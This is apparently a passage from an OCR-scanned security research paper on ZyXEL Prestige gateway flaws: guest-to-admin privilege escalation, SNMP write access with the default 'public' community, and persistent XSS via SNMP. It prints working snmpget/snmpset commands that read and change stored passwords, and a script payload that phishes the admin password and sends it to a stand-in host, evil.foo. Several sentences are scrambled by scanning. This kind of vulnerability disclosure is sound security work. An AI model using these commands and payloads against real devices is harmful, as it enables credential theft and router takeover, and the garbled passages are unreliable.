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1 Letthe journey begin

This paper is the result of various security assessments performed on several ZyXEL
Prestige devices in both, a controlled environment (computer lab) and production
environments during several penetration tests [1]. By having full access to the target
devices, it is possible to discover vulnerabilities that could be missed during a
penetration test, thus several ZyXEL models were purchased for testing in our
computer lab.

The inspiration for choosing ZyXEL gateways is solely due to discovering a privilege
escalation issue on a cUussecoritpassedsnerenvi ronment d
Additionally, due to the popularity of such gateways (mainly used in home networks

and SOHOSs) which are shipped by many ISPs throughout the world, we thought it

was a good product to investigate further.

There are two types of attacks featured in this paper which we believe might be
potentially new:

i Persistent XSS via SNMP
1 Remote wardriving over the Internet

Other ZyXEL models not mentioned in this paper might also be vulnerable to the
same issues discussed. Additionally, not all ZyXEL models mentioned in this paper
have been tested for the same vulnerabilities due to time constraints and lack of full
unrestricted access (i.e.: full administrative access was not possible during a
penetration test).

The test results of several penetration tests show that some of the vulnerabilities

mentioned in his paper are remotely exploitable due to the fact that ZyXEL Prestrige

gateways run services such as HTTP, Telnet and SNMP by default on the WAN

interface. This is at least true among the ISPs used by some of our customers who

we offerpenetr at i on testing services f oethatildedi ti onal |
past, ZyXEL devices have been known to be shipped by some ISPs [2] running

remote services by default.

For clarity reasons, irrelevant headers have been removed whenever HTTP requests
and responses are shown.
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2 Vulnerabilities
2.1 Privilege escalation from diserd6to @dmind6 account

Description

Certain ZyXEL Prestige gateways offer two types of accounts: user and admin . The
user account is a limited account which can only read status information - known as
iZy XEL De v i- sueh asuptine, CBWusage, firmware version and so on.
The user account can be thought of as a guest account with very limited privileges.

The problem is that some gateways supporting user accounts are susceptible to
privilege escalation by simply accessing URLs that would otherwise only be available
on the administrative menu. So by simply accessing URLs that would usually be
accessible by the admin user after authenticating, it is possible to escalate from
user to admin privileges.

Details

The following are some examples of administrative URLSs of different
sections/functionalities present on ZyXEL Prestige devices. Accessing such URLs
would allow a guest user to retrieve administrative settings (i.e.: WEP key, port-
forwarding rules, ISP and dynamic DNS credentials) and also alter such settings.
Please note that some administrative URLs may vary depending on the gateway
model.

For more information about URL paths of the web interface on different ZyXEL
devices please visit: http://support2.zyxel.friwebGUI/ and http://www.zyxeltech.de/

WAN: /WAN.htm| (contains PPPoE ISP password)
WLAN (contains WEP key): /WLAN_General. html and /WLAN.html
LAN: /LAN_IP.html

NAT: /NAT_General.html

Firewall: / Firewall_DefPolicy.html

Content Filter: /CF_Keyword.html

Static Route: /StaticRoute.html

Bandwidth MGMT: /BW_Title.html

Dynamic DNS (contains DDNS credentials): /rpDyDNS.html
Remote MGMT: /RemMagWWW.html|

UPNP: /rpUPNP.html

System: /rpSysAdmin.html
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Logs: /ViewLog.html
Tools: /rpFWUpload.html

Diagnostic (contains ping tool): /DiagGeneral.html

ZyXEL

[

P-660H-D1
B Network

B-Security
Firewall
Content Filter

B-Advanced
Static Route
Bandwidth MGMT
Dynamic DNS
Remote MGMT
uUPnP

E-Maintenance
System
Logs

Tools

Diagnostic

Figure 1 Example of admin menu

Since ZyXEL Prestige devices do not require the guest account to change the default
password (user ), it is realistic to assume privilege escalation can be exploited in the
wild especially in setups where the web interface is publicly available.

A lot of users reuse the same password among different services/systems.

Consequently,i t s possi ble that the | SP password whi
page (/WAN.html ) or Dynamic DNS (/rpDyDNS.html ), also works for the admin

account of the ZyXEL device via the web or telnet interface.
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An attacker could also potentially get the admin password from config file after

making a backup of the devicebds configuration
be either encoded or encrypted since the contents are not human readable.

Therefore, further research of how data is stored in the config file is required by the

attacker.

Models/versions found to be vulnerable to this issue

Model: P- 660H- D1/ ZyNOS Firmware Version: V3.40(AGD .2)| 04/26/2006
Model: P- 660H- D3/ ZyNOS Firmware Version: V3.40(AHZ.0)| 05/10/2006
Model: P- 660HW D1/ ZyNOS Firmware Version: V3.40(AGL.3)| 05/29/2006
Model: P- 661HW D1/ ZyNOS Firmware Version: V3.40(ATM.0)| 12/26/2006
Model: P- 661HW D1/ ZyNOS Firmware Version: V3.40(AHQ.0) | 05/01/2006
Model: P- 661HW D1/ ZyNOS Firmware Version: V3.40(AHQ.3) | 7/11/2007

Models/versions known to be not vulnerable
Model: P- 660HW D1 / ZyNOS Firmware Version V3.40(AGL.4) |01/10/2007

Models that do have a user (guest) account but are not vulnerable to this issue will
return the following message when trying to access an admin URL with the user
account:

Protected Object
This object on the <model - name> is protected

Solution
At the moment there is no firmware update that fixes this issue. However, changing
the default user (guest) password to a hard-to-guess password would resolve this
issue as the attacker needs user access before escalating to admin privileges.
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2.2  SNMP read and SNMP write access enabled by default

Description
SNMP read and write access is enabled by default from any source IP address.

Thus, by default, attackers can retrieve and change the configuration of ZyXEL
gateways regardless of their source IP address.

Details

ZyXEL Prestige gateways support MIBs RFC-1215 and MIB Il as defined in RFC-
1213 as well as ZyXEL private MIBs.

By default, the community string for read and write operations is public . Unlike,
other devices from other brands, the default write community string is not private
but rather the same as the community string for read operations: public . Thus,
attackers can extract configuration settings and also change them using the same
SNMP community string. It is interesting that sensitive data such as the username
and password for the dynamic DNS service can be obtained via SNMP.

The OIDs corresponding to the credentials of the www.dyndns.org dynamic DNS
service are the following:

ddns hostname: 1.3.6.1.4.1.890.1.2.1.2.3.0
ddns email: 1.3.6.1.4.1.890.1.2.1.2.4.0

ddns username: 1.3.6.1.4.1.890.1.2.1.2.5.0
ddns password: 1.3.6.1.4.1.890.1.2.1.2.6.0

The following is an example of a snmpget command that extracts the Dynamic DNS
service password i provided that the target device is configured to use Dynamic
DNS:

$snmpget -v2c -c public 192.168.1.1 1.3.6.1.4.1.890.1.2.1.2.6.0

SNMPv2 SMI::enterprises.890.1.2.1.2.6.0 = STRING: " MYDDNSP4SS

The following snmpwalk command walks the entire list of Dynamic DNS parameters
including username and password:

$ snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.4.1.890.1.2.1.2

SNMPv2 SMI::enterprises.890.1.2.1.2.1.0 = INTEGER: 2

SNMPv2 SMi::enterprises.890.1.2.1.2 .2.0 = INTEGER: 2

SNMPv2 SMI::enterprises.890.1.2.1.2.3.0 = STRING: " myddns hostname "
SNMPv2 SMI::enterprises.890.1.2.1.2.4.0 = STRING:

" myemail@domain.foo"

SNMPv2 SMi::enterprises.890.1.2.1.2.5.0 = STRING: " myddns username "
SNMPv2 SMI::enterprises.890.1.2.1 .2.6.0 = STRING: " MYDDNSP4SS
SNMPv2 SMI::enterprises.890.1.2.1.2.7.0 = INTEGER: 2

The following sequence of commands changes the dynamic DNS password in order

toillustrate that itds possible to change

write community string (public ):
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$snmpset -v2c -c public 192.168.1.1 1.3.6.1.4.1.890.1.2.1.2.6.0
string DEFACED
SNMPv2 SMI::enterprises.890.1.2.1.2.6.0 = STRING: "DEFACED"

$snmpget -v2c -c public 192.168.1.1 1.3.6.1.4.1.890.1.2.1.2.6.0
SNMPv2 SMI::enterprises. 890.1.2.1.2.6.0 = STRING: "DEFACED"

A similar example follows which changes the Zy

$ snmpset -v2c - c public 192.168.1.1 system.sysName.0 string DEFACED
SNMPv2 MIB::sysName.0 = STRING: DEFACED

snmpget -v2c -c public 192.168.1.1s ystem.sysN ame.0
SNMPv2 MIB::sysName.0 = STRING: DEFACED

Note: some parameters such as the system description (system.sysDescr.0 ) which
contains the make and model of the device are not changeable via SNMP write
operations.

Models/versions found to be vulnerable to this issue (both, SNMP read
and write operations were tested successfully)

Model: P- 660H- D1 / ZyNOS Firmware Version: V3.40(AGD.2) | 04/26/2006
Model: P- 660H- D3/ ZyNOS Firmware Version: V3.40(AHZ.0) | 05/10/2006
Model: P- 660HW T1 / ZyNOS Firmware Version: V3.40(ACI.6)| 04/27/2006
Model: P- 661HW D1 / ZyNOS Firmware Version: V3.40(AHQ.3) | 7/11/2007

Solution

Disable SNMP completely or change the default community strings to hard-to-guess
values. Only allow trusted IP addresses to perform read/write/trap operations.

The following screenshot shows menu 22 on the telnet interface which allows the

admin user to change the read, write and trap
only allow a trusted host to perform read/write operations. By default the Trusted

Host value is 0.0.0.0 which means that SNMP read and write operations can be

performed from any IP address.

Menu 22 — SHMP Configuration

SHHMP:
Get Community= nublic
Set Community= public

Truzted Host= B.A.0.8
Trap:
Community= puhlic
Destination= B.A.8.8

Pres=s EWNTER to Confirm or ESC to Cancel:

Figure 2 SNMP settings menu accessed via Telnet
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2.3 Persistent XSS via SNMP

Description

Although there are several persistent XSS vulnerabilities on the web interface of
ZyXEL Prestige gateways, we wanted to mention the ones that we found most
interesting.

It is possible to cause a persistent XSS condition by changing certain parameters via
SNMP. Since it 06sanptype sofcharbcters such asa angla bgackets to
certain parameters, a persistent XSS attack is launched when the parameters

containing the payload are printed on the browser via the web interface of the device.

Details

Provided that an attacker can perform SNMP write operations, he is then able to
inject malicious HTML/JavaScript code through parameters such as
system.sysName.0 . The maximum allowed length for the system name variable is
32 characters. However, this length might be enough to inject a fully unrestricted
JavaScript snippet file which could be located on a third-party site:

<script src=http://evil.foo/ x>

Note: no single or double quotes are required to enclose the URL assigned to the
src attribute. Also, a closing script tag </ script > is not necessary for the third-
party JS file to be run successfully. This is at least true on Firefox 2.

What the injected JavaScript code does, i s of
As an example, the code to be located on the http://evil.foo/X JavaScript file

could prompt the admin user to re-enter his/her password. Once the admin password

is entered by the vict i nssite(phishingsattackh €e sent t o t
contents of the X JS file would look similar to the following (works on Firefox 2 but not

Internet Explorer 7):

do{p=prompt("ZyXEL session timeout: please enter your password
again")}while(p=="||p==null);document.location="http:// evil.f
00/?"+p

Thepersistent XSS payload is returned within the 06Syst
(/rpSysStatu  s.html ). Further exploration might lead to discovering other pages

that return such payload. Other parameters might also allow persistent XSS via

SNMP.
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Figure 3 Persistent XSS via SNMP through 'system.sysName.0' parameter
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